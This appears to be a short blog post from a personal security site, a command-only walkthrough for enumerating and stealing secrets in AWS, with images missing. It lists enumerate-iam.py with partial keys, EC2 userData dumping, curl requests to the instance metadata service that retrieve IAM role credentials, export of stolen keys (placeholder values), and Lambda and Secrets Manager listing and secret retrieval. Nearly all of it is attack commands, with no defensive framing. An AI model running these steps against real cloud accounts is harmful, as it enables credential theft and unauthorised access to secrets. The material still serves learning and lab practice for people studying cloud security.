root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Enumerating Secrets


./enumerate-iam.py --access-key  AKIA --secret-key 6Zl97e

image

aws ec2 describe-instances --region us-east-1 --profile <p> | jq
aws ec2 describe-instances --region us-east-1 --profile bob --query "Reservations[*].Instances[*].[InstanceId,PublicIpAddress]"  | jq

image

According to the docs, --attribute can date more values but userData fits our prescription

aws ec2 describe-instance-attribute --instance-id i-* --attribute userData --region us-east-1  --profile bob | jq

image

image

#role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
#credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/

image

# long
export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE
export AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM
# short
export AWS_ACCESS_KEY_ID=ASIAEXAMPLEEXAMPLEEE
export AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM
export AWS_SESSION_TOKEN=EXAMPLEEXAMPLEEXAMPLE...<snip>

image

aws lambda list-functions

image

aws secretsmanager list-secrets --profile root

image

aws secretsmanager get-secret-value --secret-id "secretName"

image